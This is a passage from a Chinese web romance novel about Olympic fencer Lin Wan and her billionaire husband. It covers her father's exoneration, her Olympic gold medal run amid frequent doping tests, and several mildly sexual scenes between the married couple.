林晚自然看懂了他眼里的饿是哪种饿。两人这段时间以来一直各种忙碌,以至于夜间交流几乎没有。也难怪祁南骁现在如豺狼虎豹似的盯着她。 林晚软声安抚:“乖,现在吃只能吃半小时,回家吃,可以吃一晚上。你想要哪种?” 祁南骁眼眸发亮,把人抱在腿上坐着,紧紧抱着:“我两个都要。” 林晚:“” 好在祁南骁知道分寸,没有真刀真枪干,就是磨着也挺难受的。 回到家,司机还没下来开车门,祁南骁就拉着林晚下车往楼上去,他一只手牵着她,一只手勾着外套堪堪遮住腰下的风光。 林晚只觉得好笑,但很快她就笑不出来了。 一进卧室,她就被祁南骁压在门板上,本以为他会很急促粗暴,没想到他却格外有耐心。轻吻着她的眉心,舌尖化成游鱼一路往下,腰窝是她敏感的地方,便多赖一会儿。 两人从门口一直吻到床上,祁南骁伸手条件性的打开床头柜取出小盒子 “你别这么紧张。” 他故意调侃她,还拿下她抵咬在唇齿间的手,一根一根捋开手指,握紧。 林晚只觉得浑身紧张,呼吸一下比一下重:“南骁。” 祁南骁抬起头,声音低沉诱惑:“叫老公” 平时没太这么叫过,林晚不太适应这个称呼 长夜漫漫,林晚如茫茫海上的一搜小船 直到力竭,睡过去。 祁南骁低头轻咬住她的下唇,看着她红晕的脸颊,心里还是忍不住心动,即便两人结婚一年多了,他很多时候见到她还是会心动。 祁南骁勾起唇角,自顾自地继续。 一直到结束,祁南骁快速清理好一切,把洗完澡的林晚抱回床上,他依然生龙活虎,一手搂着她,一手伸向床头柜拿手机,却不想拿到林晚的手机。 刚好,他看到了手机页面上有个陌生人发短信过来,语气怪异得很。他怕又是周惠骚扰她,便打开了林晚手机。 他们两人都知道对方的手机密码,对于对方看自己手机的行为也并不排除。 祁南骁看完那几条陌生短信,脸上带着蔑视的神情。 那人似乎不死心,从发短信改成打电话。 祁南骁眼眸微顿,只思考半秒,便接通电话。 沈怀川听到林晚的电话被接通,心情激荡:“小晚,睡了吗?” 那边没人说话,沈怀川也不介意了,如今他已经穷途末路了,只是想找一个人倾诉。 “让你失望了吧,我背着你做了那么多坏事。” “还记得当年我们跟教练一起立下的誓言吗?” “对不起,是我忘了初心,我愧对于教练的培养。” “其实,我是真的喜欢你,如果没有叔叔的事,我们是不是” 祁南骁听不下去了,俊逸的脸上露出嫌恶、鄙薄,不耐烦的打断:“少他妈的假惺惺,从你跟林晚的仇人一起合作时,你就不配出现在林晚面前。” 沈怀川声音骤冷:“林晚呢?你凭什么拿她手机?” 祁南骁弯起嘴角,倨傲的语气:“她睡着了,有事别找她,没事更别找她。我们夫妻很忙,没时间浪费在你这种垃圾身上。” 他说完,直接挂了电话。 沈怀川阴沉着面孔,在某一刻突然将桌上的奖牌和奖杯推倒在地。 剧烈的破碎声响彻在寂静的别墅里,门外刚赶到警察闻声直接撞开沈怀川的卧室门,大喊:“不许动,手抱头,蹲下。” 第二天起床后,祁南骁主动报备昨晚接到沈怀川电话的事,林晚听完,有点唏嘘。沈怀川一直都是击剑队的偶像,要不是他利欲熏心,与虎谋皮坑害老百姓,大家依然会尊重他。 可惜了 —— 天朗气清,日子过得充实且自在。 就在各大媒体都把焦点对准下个月即将到来的奥运会时,网上空降重大新闻。 热搜第一:林国冬。 祁南骁还刻意打点各大蓝V官方号重点报道。 一时间全网皆知,林国冬是被人给陷害的,并非真正贪污国企公款。 官方账号还罕见大篇幅报道了林国冬的履历,他年轻时是一名优秀的战士,退伍后进入国营工厂从一名小小的技术工人一步步走向管理岗位,在国企改革的时代,更是勇于创新,救国企于危难之中,成功将国企转型,保住了万千职工的饭碗。他从业几十年矜矜业业,清清白白,从未私自占用过国家一分钱,却因为不与小人同流合污而遭到诬陷和迫害,宁死不从最终成了植物人。 官方还表示已将相关涉案人员抓捕归案,坚决不会放过任何一个犯罪分子。 一时间,林国冬从原来的大贪官形象转变成坚守信念,勇敢追求正义的英雄。他与小人的斗争,永不屈服的精神更多的是代表着希望。 林晚比网友更早知道这条消息,调查组的人早在第一时间就找到体育局向她说明的情况。她每天看着风平浪静的训练,其实一直在等这个结果。 当时林晚坐在会议室里,哭得像个小孩,泪流满面。 当天晚上,吴添给她放了个假让她回家去探望林国冬。 祁南骁准时来接她去医院,林晚带着一份文件走进林国冬的病房。原本守在外面的公职人员也已经接到通知撤退了。 接替这个任务的是祁南骁安排的保镖。 林晚坐在病床上,将文件打开,将带着公章的那张纸面向林国冬,虽然知道他不会看见,可她还是想这么做,这张纸是他的信仰。 林晚握住林国冬枯瘦的掌心,强忍着眼泪:“爸,你的事已经查清楚了。上面下了文件,白纸黑字声明你是清白的,是位好同志。你别再睡了,赶紧醒来,还能再为国家奋斗几十年。” 祁南骁从旁调和氛围道:“你就省省吧,可别把爸吓坏了。” 林晚道:“他哪有那么胆小,连抵死不从的事都敢干。” 祁南骁照常给林国冬擦脸,低声道:“爸,你再不醒来,小晚要把你老底给揭穿了。” 语毕,祁南骁捏着毛巾轻轻擦过林国冬的额头,毛巾绵软还带着点温度,触碰到林国冬眼睛的那一刻,祁南骁看到他忽然睁开眼,他惊诧的叫了声:“爸!”。 林晚闻声看了过去,看见林国冬睁开眼的样子,激动得直接落了泪:“爸。” 林国冬依旧没有任何反应,就连眼球也没动一下。 祁南骁带着医生回来检查一遍后,给出了林国冬还没苏醒的结论。植物人睁开眼睛是正常现象,并不代表就是苏醒的象征。 即便是做好心理准备,林晚的心还是再次跌入谷底。 祁南骁搂住她,给她支撑点,温声安抚着:“小晚,我们要相信爸。” 林晚带着鼻音说:“好。” 至少林国冬有反应了,不是坏消息就是好的消息。 林晚在心里不断的安慰着自己。 第70章  起程 林国冬的事调查清楚, 林晚正式成为代表国家的奥运选手。击剑队的官方号也准时在网上公布这一名单。一起的还有江逸、于书雨这些队友。 自从上次请假去医院探望林国冬后,林晚便再也没有休息过了。时间紧,任务重, 整个击剑队都在疯狂内卷。林晚每天都要练到晚上九点才开始休息,等回到宿舍洗澡、复盘就快十一点了。忙起来连跟祁南骁谈情说爱的时间都没了。 祁南骁一连一个多月都没有见到林晚, 理性上知道她在忙,但是感性上总还是忍不住失落。 她太忙,上次视频时看见她人都瘦了。 没有林晚睡他身旁睡他身旁, 祁南骁晚上也没睡好, 以前还会每星期见一次, 现在是连视频都没时间了。想她想得紧, 有欲念睡不着,睡不着就会焦躁, 一焦躁他就容易发脾气。 连带着祁南骁的下属都遭不少殃。 某天,蓝盛资本总部。 偌大的高层会议室里,祁南骁一直蹙眉审核文件,他的脸色也比平时要冷, 看到文件上错误之处时,合盖的钢笔敲在桌面的点数都能让人提心吊胆。 这样的沉默, 让正在做汇报的人心中不安,有种暴风雨前的宁静。 片响后,主位上的男人不紧不慢地开了口, 口吻一如既往地冷淡倨傲,“方案上面还有错别字, 你是眼瞎了还是缺心眼了?” 那人闻言如芒刺在身,后背直冒冷汗:“对不起祁总,我回去再想想。” 众人起身离开的时候心都还悬着, 有人忍不住私底下找来莫白询问,祁南骁到底怎么了? 莫白也不知所措,默默祈祷奥运会快点结束吧,祁南骁这样,他们快要撑不住了—— 回家的路上,莫白很随意的开口说了句:“南哥,你要想林小姐了,可以让人安排你进去见见她。” 祁南骁刚应酬结束,喝了不少酒,头晕沉沉的,抿着唇,喉咙里堵着一口气道:“你以为我不想?” 他之前天天跟她视频说要进去见她,不是被她批评搞特殊,就是被她阻止过去。 越想心里就越堵,倒不是气林晚拒绝自己,他也不知道气什么,就是不得劲。为此,他一下班就回家拉着保镖打拳击,打到爽才肯停。 莫白倒是知道祁南骁气什么,其实他什么也不气,就是单纯的以前过的太舒服了,现在离开了林晚就生理性不舒服了。身体一不舒服,就凝聚成气堵心里头。 想到这,莫白忍不住调侃:“你这心情就跟女人来例假似的,阴晴不定。” 祁南骁面色冷淡,耍酒气出声骂回去:“你是老爷们儿,连个女人的手都没摸过,整得人事部那男的天天对你放电。” 莫白暗自扯了扯唇角,默默加快油门把酒鬼送到目的地算了。 祁南骁回到家十点整,一个人躺在孤零零的卧室里,准时给林晚拨去视频。本以为会跟往常一样被她挂断,没想到她却接了。 视频有些模糊,仔细一看才发现那边都是雾气熏熏的。 祁南骁想到了什么,情不自禁咽了咽喉咙,低声呢喃:“老婆,想看你” 林晚擦完护肤品,举起手机就看见屏幕里祁南骁拿着手机,醉醺醺的样子:“你喝酒了?” “嗯?” 林晚微微蹙眉:“有没有喝醒酒汤?” 祁南骁躺在沙发上,闷哼一声:“喝了。” 林晚还没说话。 祁南骁低声含糊着:“老婆老婆” 他声音本就很有磁性,不是那种油腻的性感,而是慵懒中带着毫不刻意的蛊惑,听得林晚耳朵都酥酥麻麻的。 林晚看着视频里映着熟悉的面孔,深邃的眉眼,高挺的鼻梁,她也有点想他了。 “老婆,你在洗澡吗?” 林晚:“洗完了。” “那我看不到你没穿衣服的样子了” 林晚:“” “你怎么不说话。”祁南骁睁开眼,一眨不眨地盯着林晚。 林晚压低声音:“你现在在哪?” “家。”祁南骁说完,又可怜兮兮地道:“你才离开几个月连我们爱的卧室都忘记了。” “你之前还跟我在这个沙发坐我腰上动呢。” 林晚头大:“你知不知道你现在在跟谁视频?” 祁南骁忽然把手机拿近对着摄像头亲了口:“跟我老婆视频。” 林晚问:“真知道还是随口乱叫?” 祁南骁解开浴袍,让空调的冷气尽量直接吹到皮肤:“是老婆。” 林晚:“你把浴袍穿好,别直接吹冷气。” 祁南骁轻笑出声:“你想不想看我的裸照。” 林晚额角直跳:“我不想。” 祁南骁把镜头故意往下移动,林晚连忙喊道:“你再这样,我挂视频了。” 祁南骁拿起手机,重新对着自己的脸,可怜兮兮:“那你让我看看你。” 林晚无语:“看什么?” 祁南骁直勾勾地盯着她,不说话,垂涎欲滴的样子林晚一看就知道他没憋什么好主意。 她顺着他的视线往下微微一瞅,就知道他想看什么了,当即骂道:“想得美。” 祁南骁磨着她:“看穿着衣服的。” 林晚把手机放在桌面上置之不理,开始铺床。 祁南骁低声哭诉:“老婆,我好疼” 林晚头也不回:“去医院。” “医生治不了,只有你能治。” “我不是神仙,隔空治不了。” 祁南骁声音低沉沙哑:“老婆,你叫给我。” 林晚头皮发麻,她不用看手机就知道祁南骁在那边干嘛了。 那熟悉低沉磁性的粗喘声,简直是在勾引她。 祁南骁汗珠滴落,呼吸也越发地粗重:“老婆,你叫我。” 林晚掀起被子,将整个人盖住。 不多时,被子里传来林晚的柔软缠绵的声音,随后便是祁南骁更加凶狠的呼吸声。 —— 六月的第一个周日,下周就是国家队要出发前往奥运村的日子。 林晚被允许短暂地回家休息放松半天。辛苦了四年,也不在乎这赛前的半天训练,队里便让运动员好好休息,京市本地的可以回家见见家人,不是本地的就让家人前来聚一聚。但也严格要求不可以吃、喝外面的食物和水,且休息时间只有三个小时。 林晚只背了几瓶水便回了柳山别墅。 祁南骁知道林晚要回来,索性攒了个局,把亲人朋友都叫到柳山别墅陪她热闹。 车子开进别墅大门时,就看到一排人拉着横幅站在草坪上。 【热烈欢迎世界冠军林晚回家。】 林晚哭笑不得,她一下车,就有礼花打响,主打的就是情绪价值拉满,然后各自散开,压根没人问她一句关于比赛和训练的话。 方茗泽和梁子超跑去抓羊,扬言今晚要把它宰了烤羊肉串,理由是这只羊冲他们吐口水,方令雯追在后面阻止。方令雯跟着跑了几圈,没跟上,气鼓鼓往回走:“两大男人还要跟一只羊过不去,幼稚鬼。” 梁景宸抱着蛋黄,斯文矜贵,笑道:“等下你哥回来,我给你抓住,你趁机揍他。” 方令雯喜笑颜开:“景宸哥,你才是我亲哥。” 梁景宸勾起唇角:“好说好说,待会景宸哥给你买包。” 坐在一旁逗布丁的蒋酌瞥了他一眼:“谁缺你那点包了?” 方令雯跑过去指着自己:“我缺啊,白给的干嘛不要,你可别破坏我跟景宸哥的兄妹情。” 蒋酌转头摸了摸她的脑袋:“看上哪个包,哥也给你买。” 方令雯炸毛:“蒋酌,你摸狗的手摸我头发!我跟你拼了。” 不远处,祁南骁和莫白正坐在厨房洗水果。林晚被洛梵自拍了好一会儿,祁昭懿在一旁捧场。 洛梵是今天才跟祁昭懿认识的,两人却有捧不完的梗,关键是这样的商业互吹听起来一点也不尴尬。 自拍结束,洛梵撑着下巴跟林晚道:“诶,开幕式你也出场吗?” 林晚点头:“先头部队都会参加开幕式。” 洛梵道:“那我得现在订机票了,嘴角飞洛城的机票可不好买。” 祁昭懿:“不用抢,到时候坐我们自己的飞机,大家一起出发。” 林晚有些意外:“我们有自己的飞机?” 祁昭懿:“对啊,南骁没跟你说?” 林晚:“” 恰逢祁南骁端着水果从里面出来,祁昭懿质问他:“你居然没跟小晚公开婚前财产吗?” 祁南骁顺其自然坐在林晚身旁道:“我给了。” 林晚眨了眨眼:“什么时候给的?” 祁南骁:“书房那个木箱子,莫白抬给你时,你自己说放书房的,后续你再看。” 林晚想起什么,惊诧道:“你别跟我说那一箱都是资产证明?” 祁南骁点头,眼带疑惑地看着她,满脸写着“一箱怎么了?很多吗?” 林晚:“”壕无人性。 后来,大家统一了时间,下周五傍晚,机场公务楼见,除了林晚。 林晚是归队后第二天随国家队的包机飞往洛城的,整个飞行时间十几个小时,落地就直接住进奥运村。 林晚被分到和于书雨住一起,异国他乡的住宿环境自然没有自己国家当年的奥运村好。 当天晚上,两人就跟队一起去饭堂。那会儿还只有白人饭,林晚点了些牛肉、面包、芝麻菜,一些酱。于书雨过来时,嘀嘀咕咕。 林晚笑她:“以后还想吃新鲜吗?” 于书雨往嘴里塞芝麻菜,拼命摇头。国家队是有配厨师做饭给他们吃的,然而于书雨说落地新城市,。第一顿要入乡随俗来食堂吃白人饭,这下好了把她给吃自闭了。 当天晚上开始,林晚就开始倒时差,一直到后半夜才迷迷糊糊睡下。然而还没睡多久,林晚就听到有人敲她们的门,她起床去开门,就看到赛事工作人员过来要尿检。 林晚下意识抬手看了眼时间,不到六点钟就开始尿检? 检察官丝毫不在意她们是什么想法,一脸公事公办,林晚只好叫起于书雨,两人在检察官的监视下喝完一瓶水,直到有了尿意,又要在检察官的监视下在厕所排尿,之后便是熟练地贴上标签,把东西交给检察官。 等人走后,已经是一个小时后了。 两人又马不停蹄地刷牙应付完早餐背着佩剑去训练馆开始训练。到达后,大家凑在一起聊天才发现早上就抽了我们国家的击剑队运动员。 第 71 章【VIP】 第71章  冠军 本以为早上不到六点钟的尿检已经很离谱了, 等到中午林晚训练完,吃了午饭准备回宿舍休息时突然被告知待会检查官会过来给大家做尿检。 大家没办法只能牺牲午休时间在宿舍一楼大厅等待,期间林晚去了趟厕所洗手, 却不料在洗手池碰到了熟人。去年在国际赛场上对决过的对手,对方的队友就是此前服用兴奋剂赢了林晚的克劳娜。 林晚打从见到她们开始就觉得对方来者不善。 “林, 偷我们的奖牌开心吗?” 林晚眉心微蹙,没说话。 对方一个队友上前,抱臂睨着林晚嘲讽:“你们也就只会使这些垃圾手段夺走我们的奖牌。” 她说完, 还故意朝着林晚提起眼尾, 做出眯眯眼, 赤裸裸的种族歧视。 林晚非但没有恼怒, 反而面不改色的看着她们:“如果我没记错的话,偷奖牌的人是你们吧?使用兴奋剂的垃圾家伙。你们为什么好好的人不当, 要当一个只会磕药的垃圾?你的父亲的蝌蚪找到你母亲的卵子时是被撞出毛病了吗?以至于你母亲生出了你们这种脑子里少了一条神经的神经?你们就是有母亲生,没有母亲教导的水沟里的老鼠,没本事光明正大赢别人,只会躲在下水道里偷偷磕药。上帝因为抛弃拥有嫉妒且丑陋的你而感慨生命的美好。” 林晚这段全面扫射直接让对方破防了。 愣了半天才反应过来, 林晚骂她们脑子不好,神经病, 有娘生没娘养的杂种。领悟过来时,她们第一时间不是生气,反而是不可置信, 紧接着是各种反驳林晚她们是她爸妈亲生的,她们很爱上帝, 上帝不会抛弃她们的。 林晚擦干净手头也不回地走了,剩下那几人在厕所里思考人生。 回到团队于书雨跑过来找她:“我看到了有几个熟人进了厕所,她们没为难你吧?” 林晚摇头:“没有。” “那就好。” “检查官来了吗?” 于书雨蹙眉:“还没, 外国佬做事真不守时。再拖下去,我们都不用午休了。” 说曹操,曹操到,林晚看到前方走来好几个穿着制服的检察官,一行人再次排队尿检。 检查完,一行人根本没时间午休,又得开始下午的训练。一直到晚上九点,林晚回到宿舍,正在跟祁南骁打个电话,就又被通知即将有检查官尿检。 祁南骁问:“怎么了?” 林晚道:“没什么,通知要尿检。” 于书雨没注意到林晚在打电话,脱口而出的吐槽:“太坑人了吧,他们是故意针对我们中国队的吗?你跟江逸今天都被抽六次了,怎么还要检啊?啊,抱歉,我没看到你在打电话。” 林晚笑了笑:“没事。” 祁南骁眉心微蹙:“你们被检查的很频繁吗?” 林晚:“可能是第一天,对方检查的比较勤,等过几天就好了。” 然而,整整一个星期,击剑队都被重点关照,频繁尿检。早上6点不到就上门敲门,中午不让午休又要尿检,晚上的尿检约定好时机又迟迟不来,拖着他们运动员的休息时间。 就算林晚这个脾气最好的运动员也被磨得想发飙了。刘易军只好紧急动员,给大家做思想工作。 “我们的敌人已经在颤抖了,他们害怕我们的实力,所以使用这些下三烂的手段折磨我们。越是这个时候,我们越要沉住气,将这场仗漂漂亮亮的打回去。我们要赢得光明磊落,让他们输得心服口服。这点困难能不能挺住?” “能!” 8号晚上,奥运会正式开幕。 林晚跟在国家队身后在后台的场外等候入场,会场内烟花、音乐、掌声如雷鸣般振奋人心。 这不是林晚第一次参加奥运会,没有想象中的紧张。越是靠近比赛日,林晚的心态反而放松下来。就比如今晚,她毫无压力的享受在舞台上。 洛城这边是夏季,今年中国队的女运动员是集体的红陪黄新中式汉服,下身的精致且高雅的马面裙,男声则是一贯的西装皮鞋。 林晚收到祁南骁打来的视频,他们就在观众席上,坐成前后两排,一脸兴奋,大家都来了就连祁梦也来了。 现场吵闹,两边都听不到手机里对方说话声。 林晚索性不说话了,洛梵跟梁子超的声音最大,跟打了鸡血似的。 林晚看笑了,笑着笑着,眼角泛了酸。 如果他们也在就好了。 —— 此次奥运会,中国队派了四名运动员参加重剑个人比赛,其中林晚担任重剑个人赛还有重剑团体赛。分预赛、半决赛、决赛。 预赛,林晚毫无悬念直接晋级了。 到14号的半决赛,林晚碰上了那天在厕所里跟她对骂的人。对方是上一届的奥运会亚军实力很强,林晚压力不小。一开始国内报道时,还有不少人冷嘲热讽林晚的实力。虽然她爸不是贪官,但并不代表她没有利用她爸的关系进入国家队,在里面混日子! 此类观点还是少数人持有的,最后林晚以13:11成功晋级决赛,成功打脸。 15号,大晴天,林晚醒来时,挡光窗帘已经拉开,微光透过薄纱悠悠荡荡地洒进室内,像温柔的水波纹。 林晚是被检查官叫醒的,她已经习惯了日常的尿检。甚至还锻炼出超觉松弛感,她能明显感觉到她跟江逸被检查官们重点检查,却也没有办法。 等检查官走后,林晚开始收拾东西,她今天上午十点决赛,对手是上两界的奥运冠军JUNIPER卓霓。她是林晚的偶像,如今是她的对手。和她对决,林晚的压力是前所未有的大。 东西收拾好,离集合还有一段时间,本来想给祁南骁发消息的看见他正好也发了消息过来。她便直接拨了视频过去。 屏幕上出现祁南骁穿着塑身衣从健身房里出来,她惊诧:“你居然起来健身了?几点开始的?” “睡不着,四点多醒了,便到酒店健身房练练。”祁南骁边走边擦汗往总统套房去。 黑色塑身显得他的宽肩窄背更加好看,大清早看到如此赏心悦目的□□,林晚心情颇好。 祁南骁回到套房,睨着屏幕:“要不要我把裤子也脱了给你欣赏?” 林晚蹙眉:“我今天还有比赛,你休要乱我清修。” “好。”祁南骁脱掉上半身的塑身衣道:“林总,等你比赛完再点我。” “你该不会是紧张到一晚上没睡吧?”林晚看着祁南骁眼下的乌青忽然想到。 祁南骁眼眸微顿,笑了:“是啊。全世界都知道我是你丈夫,能影响你成绩的就只有我这个男妖精了。”他说这话时,故意把镜头往下移。 林晚愣了下,看着手机屏幕笑了,她眼若灿星,自信从容:“放心吧,我不会让你担负这个骂名的。赢了,你就是世界冠军背后的男人,输了” 祁南骁打断她:“别说不吉利的话。” 林晚笑个不停,她没想到祁南骁居然也搞上玄学了。 和祁南骁说说笑,林晚心情好了很多。 吴添来接她时,发现她状态还很不错,整个人从容坚定,像不蔓不枝的鸢尾,怡然自得,沉稳静谧。 提前1小时进入比赛场馆,检查装备、做完尿检等各项程序已经花了不少时间。 林晚在后台休息区沉默的擦着她的佩剑,这是她比赛前必要的调整。全程进入忘我的冥想境界,试图和佩剑建立联系。 通过获得深度的宁静状态而增强自我知识和良好状态。 *这个时候吴添和其他的助理尽量不打扰到她 ,让她一个人独处。 时间到,吴添走到正在热身的林晚面前提醒她该上场了。 林晚陡然从游离状态立马转换成临阵以待。 她今天化了个淡妆,贴合她的五官,精致英气,粉底贴近她的肤色,整个人看起来精神十足。 林晚一手持佩剑,一手抱着面罩走到聚光灯下,她一身白色击剑服,扎着低马尾,干净利落。175的身高让她在这样的服饰下更为夺目,长腿笔直,身姿挺拔。 林晚无疑是漂亮的,然而她又不仅仅只有漂亮,她身上那股风雨不惊的劲,恰到好处的自信让人情不自禁把目光放到她身上。这一刻,全场镜头对着她。 同时,网络直播也正在同步进行,弹幕谈论得热火朝天。 【好美啊!太飒了,姐姐杀我。】 【她是来比赛的还是来选美的?居然还化妆上场!】 【看不懂,但就是莫名觉得林晚好帅!】 洛梵她们在观众台上满眼欣赏的道:“林晚好酷啊!” 坐她前面的祁南骁直直的看着舞台,林晚静静的站在那儿,等着现场广播的介绍,漂亮的外表,像古老森林的守护神,深邃镇静的眼神是她独一无二的魅力。 她就像伫立的一株安静的鸢尾。有着自然而然迸发向上的韧劲,此刻的她自信、坦荡。 林晚等到广播结束,举起佩剑手心向上伸平,剑尖指向观众,然后屈肘垂直表示致敬。 她看到坐在观众席最前面的家人朋友,每个人遥遥注目,望向她的眼神包容宽广。让林晚觉得,哪怕前路是未知之镜,她依旧能披荆斩棘,一往无前。 —— 随着广播介绍完毕,林晚戴上面罩,走到金属赛道上。 两方互相致敬完毕。 四周灯光暗淡下来,聚光灯笼罩在赛道上,林晚透过面网,注视着前方的白色身影。 目标明确! 全场屏息安静,随着裁判的声音落下,红色计算器开始。 两道白色身影飞速移动,短短几秒内对手快速出击,林晚的手腕被击中失分。 紧接着,对手一鼓作气攻势越来越迅猛,林晚频繁失分,尖锐细长的得分声一声声响起。第一回合,林晚0:5落后。 观众席一片唏嘘声不断。 网络直播弹幕也好不到哪里去。 【果然是来混日子的,0:5丢死人了。】 【好歹得一分啊!】 【她到底是怎么进国家队的?】 【走错频道了吧,这颜值应该去隔壁电影频道出道吧?】 【有那时间化妆不如多花点时间训练。】 【替人尴尬的毛病又犯了。】 【你行你上啊,人家再怎么样也是拿过世界冠军,你呢,你会个der!】 【林晚的舔狗闻着味就来了。啧,小仙女说不得!】 网上的事,林晚并不知道,她正在全身心的投入比赛中。第二回合开始,林晚转换策略,故意露出焦急,成功骗过对方。 这一局,林晚以7:4暂时领先。 网上的弹幕骂声倒是少了,反而是因为祁南骁吵了起来。比赛现场镜头刚好拍到祁南骁弓身手肘撑膝盖,掌心握拳抵着下巴的蹙眉深思的样子。他穿着黑色冲锋衣,神色紧张地看着台下的样子成功让弹幕火热起来。 【啊啊啊,两分钟,我要这个男人的全部信息。】 【没人发现他的肱二头肌真的很有性张力吗?】 【挖槽,好帅啊!他是哪个明星吗?】 【给大家科普下,这位是运动员林晚的丈夫。蓝盛资本的CEO,亿万家产,豪门中的豪门。他戴的那只手臂价值五千万!】 —— 很快来到第三回合,一决胜负。 比赛还未开始,现场观众席的干扰声不断。 这是在对方的主场上,甚至还有观众高喊含侮辱性词汇干扰林晚。 林晚的面罩里早已汗如雨下,透过面网,只能看到对面模糊的身影。她沉住气,确定目标。经过刚才两个回合的较量,她已经找到对方右腿有漏洞的弱点。当即果断主动攻击,成功引诱对方犯错。 双方比分咬得都很紧,先是对方分,林晚立马追平,一直拉锯在最后,就在大家都以为要进入“一剑决胜”时,林晚果断出手,速度快到眼睛还没眨完,她就击中对方,12:11赢得这场比赛。 计算器结束响的那一刻,祁南骁他们之间站了起来,互相拥抱。 林晚摘下面罩,脸上已经分不清是眼泪还是汗水,又或者已经交织在一起了。 吴添上前给了她一个大大的拥抱:“林晚,你做到了,我们是冠军!” 林晚泪流满面,吴添为她披上国旗,让她绕场一周。 当全场响起热烈的掌声时,林晚披着国旗朝着观众席致谢。 人山人海,只剩下千万人中也绝不会认错的身影。林晚一眼就看到祁南骁穿着黑色冲锋衣,高定的质感矜贵熨贴,灯光落在他身上,给他的轮廓镀了层含蓄的光,他站在熙攘嘈乱的人群中,望向她的眸光宛如黑曜石般,安宁、深邃、细腻。 林晚眼里渐渐有了光,笑容潋滟。 二十分钟后,林晚站在领奖台上升起五星红旗。国内各大官网纷纷转发祝贺,同步直播。 直播弹幕也在她得冠后,转变了风向。那些诋毁谩骂的声音逐渐消失,更多的是被她的强大所圈粉。 当你站在峰顶时,曾经那些关于你的闲言碎语,自会有人替你澄清。 这句话用来形容此刻的林晚再合适不过了。 随着林晚夺冠,越来越多人将她跟祁南骁的婚事拿出来比较。上流圈认为林晚出身普通,能嫁到祁家已经是麻雀变凤凰了,在这门婚事里,她就算是奥运冠军也得遵守豪门规矩,肯定卑微成泥。还有人打赌,这肯定是林晚参加的最后一次奥运会了,她接下来肯定会被要求回祁家生孩子。 普通群众则更多的是心疼林晚,要长相有长相,要身材有身材,要才华有才华,还是世界冠军就这么嫁进豪门,还不知道会被蹉跎成什么样。毕竟在大多数人眼里,一入豪门深似海。 周惠还在此期间,在网上发布自己是林晚亲生母亲,如今生活困难拮据却被林晚拒绝抚养的事。企图用这样的言论让大众帮她攻击林晚。 然而,大部分网友因为前两次网暴林晚被反转的事,对出来黑林晚的贴子、视频都不太敢信了。 经验使然,黑林晚的最后都会出现反转。 果不起然,只过了不到半小时,一则关于林晚的身世被官方公布。 林晚烈士子女,她亲生父亲早在她7岁时光荣牺牲。之后她跟着亲生母亲周惠辗转嫁进窦家,被母亲和继父虐待长达两年。最后,她被亲生父亲的战友林国冬以及林国冬的夫人何俪收养。 这下大家是彻底发现了,林晚的过往是越挖越红啊! 就算周惠是林晚的亲妈,一个虐待女儿的亲妈,没送她二进宫就好了,还想靠女儿养,痴人做梦。 这件事林晚还来不及知道就被官方暗戳戳给沉下去。 THE END 第72章 第72章 正文完 共此…… 以至于林晚知道时, 奥运会都结束了,他们正被有序的组织着走出机场。 此次奥运会,中国队收获颇丰, 媒体记者包括许多粉丝都挤在机场大厅里。林晚被吴添护着往外走,到处都是人挤人, 她还要推着行李箱,简直是寸步不行。 有人送她花,还有人送她信, 送她冰箱贴等等, 只要不是贵重的林晚看见就顺便收下。这些粉丝很多都是从大老远的地方赶过来, 就为了见她这么一面, 也不容易。 林晚第一次见识这种场面,上了大巴车后还有点受宠若惊。江逸坐她对面调侃道:“你现在体会到人怕出名, 猪怕壮了吧?” 林晚擦着汗,不得不服了,看来接下来的休假还是要找个没人的地方悄悄过。 这事,林晚原本也只是想一想而已, 没想到她人才刚回到家就被祁南骁抓到飞机上。 就是他的私人飞机! 林晚再一次被祁南骁的富裕给震撼到。她看着眼前的民用客机不可置信:“你什么时候买的这架飞机的?”她原先以为祁南骁的私人飞机是比较小型的飞机,没想到这是能坐几百号人的飞机, 壕无人性! 祁南骁瞥见林晚探究的目光,出声解释:“我爷爷送我的成年礼。” 林晚:“”老爷子平日里吃穿用度都挺朴素的,没想到私底下出手这么阔绰。想到之前祁占山送给自己那套价值几套四合院的珠宝, 林晚忽然就不觉得惊讶了。 机组人员将行李提上飞机,林晚也是第一次坐私人飞机, 据说每架私人飞机的内饰都会根据主人的兴趣专门设计的。 显然,这架飞机的内饰风格跟祁南骁不太搭。祁占山喜欢艳丽的颜色,他给祁南骁设计的都是颜色艳丽、装饰奢侈。 这么多年了, 祁南骁依旧没有去改动。 一整个飞机囊括了一个可供三十人同时娱乐的豪华客厅,三间卧室,厨房,娱乐休闲室都有。 空姐给两人拿来替换的拖鞋过来,林晚换上后就被祁南骁拉着坐在环形沙发上。 一坐下,祁南骁就黏了上来搂着她亲亲摸摸。 林晚及时制止住钻进她衣服里的手:“我才刚休假,你就把我带走,洛梵她们还等我聚会呢。” 祁南骁缠着她的腰,在她脖颈处落下一串滚热缠绵的吻:“就是躲她们才把你给拐走的。” 林晚就算不怕痒,也被他亲得缩脖子躲避:“那她们找我怎么办?” “凉拌。”祁南骁不废话,单只手将她压在沙发上强吻,在她被吻得脸颊红晕时,他才轻轻放开她,轻咬住她的下唇,难舍难分:“你都把我凉了有多久了?一回来就只考虑你的姐妹,一点也不在乎我。” 林晚喘着气,瞪他:“你少强词夺理。” 祁南骁低头亲在她脖子上:“不管,从现在开始到你休假结束,你只属于我。” 他像个黏人的狗狗,不,他比狗还疯。 林晚被他亲得欲哭无泪:“别在这儿,有人。” 祁南骁闻言直接打横把她抱起就往其中一间卧室走去,卧室里有一张两米大床房,对着窗户。林晚被他压在床上,无论说什么他都不听,只有狠狠地压榨她。 祁南骁想要,林晚根本拦不住,更何况他还素了这么久,简直就跟饿了许久见到肉的狮子一样,狼吞虎咽,不知疲惫。 林晚人生第一次在万米高空中体验灵魂被甩到九霄云外。 叫又不能叫,她怕外面的机组、安保成员听到。只能靠咬着唇瓣才能堪堪忍住。 祁南骁就是个变态,她越是忍,他越是亢奋,想尽办法逼她喊出来。 林晚好几次被逼到崩溃边缘 他伏在她耳边,语气模糊了性感和沙哑:“才开始就受不了了?” “嗯?”林晚声音慵懒,还在闲者时刻。 祁南骁指腹擦了擦她的唇瓣:“等下了飞机,我让你可以尽情喊,坚决没有人打扰到我们。” 林晚:“”真想打他,可抬手摸到他下巴时,又舍不得,摸了摸他的脸颊。 祁南骁乖顺的把脸贴过来给她摸,两人温存了好一会儿。 林晚洗完澡后穿着浴袍站在床边,看着床上乱七八糟的样子,懊恼该怎么处理。 祁南骁见状开门要出去,林晚赶忙问:“你去干嘛?” 